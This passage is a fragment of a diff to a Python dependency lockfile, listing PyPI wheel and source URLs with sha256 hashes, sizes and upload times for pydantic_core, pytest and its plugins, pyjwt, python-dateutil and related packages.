"2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" }, + { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" }, + { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/e6/b0/1a2aa41e3b5a4ba11420aba2d091b2d17959c8d1519ece3627c371951e73/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8", size = 2103351, upload-time = "2025-11-04T13:43:02.058Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ee/31b1f0020baaf6d091c87900ae05c6aeae101fa4e188e1613c80e4f1ea31/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a", size = 1925363, upload-time = "2025-11-04T13:43:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/e1/89/ab8e86208467e467a80deaca4e434adac37b10a9d134cd2f99b28a01e483/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b", size = 2135615, upload-time = "2025-11-04T13:43:08.116Z" }, + { url = "https://files.pythonhosted.org/packages/99/0a/99a53d06dd0348b2008f2f30884b34719c323f16c3be4e6cc1203b74a91d/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2", size = 2175369, upload-time = "2025-11-04T13:43:12.49Z" }, + { url = "https://files.pythonhosted.org/packages/6d/94/30ca3b73c6d485b9bb0bc66e611cff4a7138ff9736b7e66bcf0852151636/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093", size = 2144218, upload-time = "2025-11-04T13:43:15.431Z" }, + { url = "https://files.pythonhosted.org/packages/87/57/31b4f8e12680b739a91f472b5671294236b82586889ef764b5fbc6669238/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a", size = 2329951, upload-time = "2025-11-04T13:43:18.062Z" }, + { url = "https://files.pythonhosted.org/packages/7d/73/3c2c8edef77b8f7310e6fb012dbc4b8551386ed575b9eb6fb2506e28a7eb/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963", size = 2318428, upload-time = "2025-11-04T13:43:20.679Z" }, + { url = "https://files.pythonhosted.org/packages/2f/02/8559b1f26ee0d502c74f9cca5c0d2fd97e967e083e006bbbb4e97f3a043a/pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a", size = 2147009, upload-time = "2025-11-04T13:43:23.286Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" }, + { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" }, + { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" }, + { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f2/f11dd73284122713f5f89fc940f370d035fa8e1e078d446b3313955157fe/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770", size = 2330317, upload-time = "2025-11-04T13:43:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/88/9d/b06ca6acfe4abb296110fb1273a4d848a0bfb2ff65f3ee92127b3244e16b/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f", size = 2316992, upload-time = "2025-11-04T13:43:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, +] + +[[package]] +name = "pygments" +version = "2.19.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" }, +] + +[[package]] +name = "pyjwt" +version = "2.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5c/5a/b46fa56bf322901eee5b0454a34343cdbdae202cd421775a8ee4e42fd519/pyjwt-2.11.0.tar.gz", hash = "sha256:35f95c1f0fbe5d5ba6e43f00271c275f7a1a4db1dab27bf708073b75318ea623", size = 98019, upload-time = "2026-01-30T19:59:55.694Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6f/01/c26ce75ba460d5cd503da9e13b21a33804d38c2165dec7b716d06b13010c/pyjwt-2.11.0-py3-none-any.whl", hash = "sha256:94a6bde30eb5c8e04fee991062b534071fd1439ef58d2adc9ccb823e7bcd0469", size = 28224, upload-time = "2026-01-30T19:59:54.539Z" }, +] + +[[package]] +name = "pymdown-extensions" +version = "10.20.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1e/6c/9e370934bfa30e889d12e61d0dae009991294f40055c238980066a7fbd83/pymdown_extensions-10.20.1.tar.gz", hash = "sha256:e7e39c865727338d434b55f1dd8da51febcffcaebd6e1a0b9c836243f660740a", size = 852860, upload-time = "2026-01-24T05:56:56.758Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/40/6d/b6ee155462a0156b94312bdd82d2b92ea56e909740045a87ccb98bf52405/pymdown_extensions-10.20.1-py3-none-any.whl", hash = "sha256:24af7feacbca56504b313b7b418c4f5e1317bb5fea60f03d57be7fcc40912aa0", size = 268768, upload-time = "2026-01-24T05:56:54.537Z" }, +] + +[[package]] +name = "pyparsing" +version = "3.3.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc", size = 6851574, upload-time = "2026-01-21T03:57:59.36Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = 122781, upload-time = "2026-01-21T03:57:55.912Z" }, +] + +[[package]] +name = "pytest" +version = "8.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a3/5c/00a0e072241553e1a7496d638deababa67c5058571567b92a7eaa258397c/pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01", size = 1519618, upload-time = "2025-09-04T14:34:22.711Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a8/a4/20da314d277121d6534b3a980b29035dcd51e6744bd79075a6ce8fa4eb8d/pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79", size = 365750, upload-time = "2025-09-04T14:34:20.226Z" }, +] + +[[package]] +name = "pytest-asyncio" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, + { name = "pytest" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/86/9e3c5f48f7b7b638b216e4b9e645f54d199d7abbbab7a64a13b4e12ba10f/pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57", size = 50119, upload-time = "2025-09-12T07:33:53.816Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/93/2fa34714b7a4ae72f2f8dad66ba17dd9a2c793220719e736dda28b7aec27/pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99", size = 15095, upload-time = "2025-09-12T07:33:52.639Z" }, +] + +[[package]] +name = "pytest-benchmark" +version = "5.2.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "py-cpuinfo" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/24/34/9f732b76456d64faffbef6232f1f9dbec7a7c4999ff46282fa418bd1af66/pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779", size = 341340, upload-time = "2025-11-09T18:48:43.215Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/29/e756e715a48959f1c0045342088d7ca9762a2f509b945f362a316e9412b7/pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803", size = 45255, upload-time = "2025-11-09T18:48:39.765Z" }, +] + +[[package]] +name = "pytest-cov" +version = "7.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage", extra = ["toml"] }, + { name = "pluggy" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/f7/c933acc76f5208b3b00089573cf6a2bc26dc80a8aece8f52bb7d6b1855ca/pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1", size = 54328, upload-time = "2025-09-09T10:57:02.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ee/49/1377b49de7d0c1ce41292161ea0f721913fa8722c19fb9c1e3aa0367eecb/pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861", size = 22424, upload-time = "2025-09-09T10:57:00.695Z" }, +] + +[[package]] +name = "pytest-env" +version = "1.1.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/31/27f28431a16b83cab7a636dce59cf397517807d247caa38ee67d65e71ef8/pytest_env-1.1.5.tar.gz", hash = "sha256:91209840aa0e43385073ac464a554ad2947cc2fd663a9debf88d03b01e0cc1cf", size = 8911, upload-time = "2024-09-17T22:39:18.566Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/b8/87cfb16045c9d4092cfcf526135d73b88101aac83bc1adcf82dfb5fd3833/pytest_env-1.1.5-py3-none-any.whl", hash = "sha256:ce90cf8772878515c24b31cd97c7fa1f4481cd68d588419fd45f10ecaee6bc30", size = 6141, upload-time = "2024-09-17T22:39:16.942Z" }, +] + +[[package]] +name = "pytest-httpserver" +version = "1.1.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8a/1c/9d1a388fcd3898537b6c9ef06fdf9a42c9b9ffefdb8e3ce50174f4d0211d/pytest_httpserver-1.1.4.tar.gz", hash = "sha256:4d357402ae7e141f3914ed7cd25f3e24746ae928792dad60053daee4feae81fc", size = 8295814, upload-time = "2026-02-09T18:18:00.237Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/50/7ed2153872d593c14d3a5565f9744d603a3e23967ab3cea0cc1eeb51a1ff/pytest_httpserver-1.1.4-py3-none-any.whl", hash = "sha256:5dc73beae8cef139597cfdaab1b7f6bfe3551dd80965a6039e08498796053331", size = 21653, upload-time = "2026-02-09T18:17:54.772Z" }, +] + +[[package]] +name = "pytest-httpx" +version = "0.35.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/89/5b12b7b29e3d0af3a4b9c071ee92fa25a9017453731a38f08ba01c280f4c/pytest_httpx-0.35.0.tar.gz", hash = "sha256:d619ad5d2e67734abfbb224c3d9025d64795d4b8711116b1a13f72a251ae511f", size = 54146, upload-time = "2024-11-28T19:16:54.237Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/ed/026d467c1853dd83102411a78126b4842618e86c895f93528b0528c7a620/pytest_httpx-0.35.0-py3-none-any.whl", hash = "sha256:ee11a00ffcea94a5cbff47af2114d34c5b231c326902458deed73f9c459fd744", size = 19442, upload-time = "2024-11-28T19:16:52.787Z" }, +] + +[[package]] +name = "pytest-rerunfailures" +version = "16.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/de/04/71e9520551fc8fe2cf5c1a1842e4e600265b0815f2016b7c27ec85688682/pytest_rerunfailures-16.1.tar.gz", hash = "sha256:c38b266db8a808953ebd71ac25c381cb1981a78ff9340a14bcb9f1b9bff1899e", size = 30889, upload-time = "2025-10-10T07:06:01.238Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/77/54/60eabb34445e3db3d3d874dc1dfa72751bfec3265bd611cb13c8b290adea/pytest_rerunfailures-16.1-py3-none-any.whl", hash = "sha256:5d11b12c0ca9a1665b5054052fcc1084f8deadd9328962745ef6b04e26382e86", size = 14093, upload-time = "2025-10-10T07:06:00.019Z" }, +] + +[[package]] +name = "pytest-timeout" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/82/4c9ecabab13363e72d880f2fb504c5f750433b2b6f16e99f4ec21ada284c/pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a", size = 17973, upload-time = "2025-05-05T19:44:34.99Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/b6/3127540ecdf1464a00e5a01ee60a1b09175f6913f0644ac748494d9c4b21/pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2", size = 14382, upload-time = "2025-05-05T19:44:33.502Z" }, +] + +[[package]] +name = "python-daemon" +version = "3.1.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "lockfile" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/37/4f10e37bdabc058a32989da2daf29e57dc59dbc5395497f3d36d5f5e2694/python_daemon-3.1.2.tar.gz", hash = "sha256:f7b04335adc473de877f5117e26d5f1142f4c9f7cd765408f0877757be5afbf4", size = 71576, upload-time = "2024-12-03T08:41:07.843Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/45/3c/b88167e2d6785c0e781ee5d498b07472aeb9b6765da3b19e7cc9e0813841/python_daemon-3.1.2-py3-none-any.whl", hash = "sha256:b906833cef63502994ad48e2eab213259ed9bb18d54fa8774dcba2ff7864cec6", size = 30872, upload-time = "2024-12-03T08:41:03.322Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, 